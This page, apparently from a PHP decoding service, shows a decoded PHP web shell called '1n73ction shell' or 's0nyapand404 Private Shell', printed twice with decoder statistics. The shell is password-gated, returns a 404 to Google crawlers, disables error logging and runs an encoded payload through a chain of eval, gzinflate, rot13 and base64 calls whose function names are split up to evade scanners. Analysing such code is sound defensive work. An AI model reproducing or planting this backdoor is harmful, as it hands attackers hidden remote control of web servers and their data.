Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* (1n73ction shell v3.1 by x'1n73ct|default pass:" 1n73ction ") */ $auth_pass = "..

Decoded Output download

<?php 
/* (1n73ction shell v3.1 by x'1n73ct|default pass:" 1n73ction ") */ 
$auth_pass = "4346e11916fbde332f90dc7d9914b098"; 
$color = "#00ff00"; 
$default_action = 'FilesMan'; 
@define('SELF_PATH', __FILE__); 
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { 
header('HTTP/1.0 404 Not Found'); 
exit; 
} 
@session_start(); 
@error_reporting(0); 
@ini_set('error_log',NULL); 
@ini_set('log_errors',0); 
@ini_set('max_execution_time',0); 
@ini_set('output_buffering',0); 
@ini_set('display_errors', 0); 
@set_time_limit(0); 
@set_magic_quotes_runtime(0); 
@define('VERSION', '2.1'); 
if( get_magic_quotes_gpc() ) { 
function stripslashes_array($array) { 
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); 
} 
$_POST = stripslashes_array($_POST); 
} 
function printLogin() { 
?> 
<h1>Wellcome ^_^ </h1> 
<p>s0nyapand404 Private Shell</p> 
<hr> 
<address>s0nyapand404 Shell<?=$_SERVER['HTTP_HOST']?> Port 80</address> 
<style> 
input { margin:0;background-color:#fff;border:1px solid #fff; } 
</style> 
<center> 
<form method=post> 
<input type=password name=pass> 
</form></center> 
<?php 
exit; 
} 
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) 
if( empty( $auth_pass ) || 
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) 
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 
else 
printLogin(); 
@ini_set('output_buffering',0); 
@ini_set('display_errors', 0); 
function x($inject){eval("\$z=gz" . "inf" . "la" . "te(s" . "t" . "r_r" . "ot" . "13(ba" . "se" . "6" . "4" . "_" . "d" . "e" . "c" . "o" . "de(st" . "r" . "_" . "r" . "o" . "t" . "13(" . "gzi" . "nf" . "lat" . "e(" . "bas" . "e6" . "4_d" . "ec" . "ode(\$inject))))));eval(\$z);");} 
x("DczdFkIwAADgB3Kx4+f4uehiJyJFM0bcjYPKqGbFPH19D/Adch2iLn+Qan8XlupmvkrlMEVX3NtyDS2gc9nTGF4X0yHDKSAFnPHHOkwhFNw5v0XIqMdyAylyc5r0ReRkzlhmX8y5Fizfz5rpiQsaz7jdWXZDUbJdcN2KqfRPLWnrJ6t88P9SpB5TNIws6KCxxSXvo3EugK2kQKNA2M66mLG72/0A"); 
?>

Did this file decode correctly?

Original Code

<?php
/* (1n73ction shell v3.1 by x'1n73ct|default pass:" 1n73ction ") */
$auth_pass = "4346e11916fbde332f90dc7d9914b098";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<h1>Wellcome ^_^ </h1>
<p>s0nyapand404 Private Shell</p>
<hr>
<address>s0nyapand404 Shell<?=$_SERVER['HTTP_HOST']?> Port 80</address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<center>
<form method=post>
<input type=password name=pass>
</form></center>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
function x($inject){eval("\$z=gz" . "inf" . "la" . "te(s" . "t" . "r_r" . "ot" . "13(ba" . "se" . "6" . "4" . "_" . "d" . "e" . "c" . "o" . "de(st" . "r" . "_" . "r" . "o" . "t" . "13(" . "gzi" . "nf" . "lat" . "e(" . "bas" . "e6" . "4_d" . "ec" . "ode(\$inject))))));eval(\$z);");}
x("DczdFkIwAADgB3Kx4+f4uehiJyJFM0bcjYPKqGbFPH19D/Adch2iLn+Qan8XlupmvkrlMEVX3NtyDS2gc9nTGF4X0yHDKSAFnPHHOkwhFNw5v0XIqMdyAylyc5r0ReRkzlhmX8y5Fizfz5rpiQsaz7jdWXZDUbJdcN2KqfRPLWnrJ6t88P9SpB5TNIws6KCxxSXvo3EugK2kQKNA2M66mLG72/0A");
?>

Function Calls

define 1

Variables

$color #00ff00
$auth_pass 4346e11916fbde332f90dc7d9914b098
$default_action FilesMan

Stats

MD5 7974cde84b88f4b8cf4cffd4d9b2fb81
Eval Count 0
Decode Time 84 ms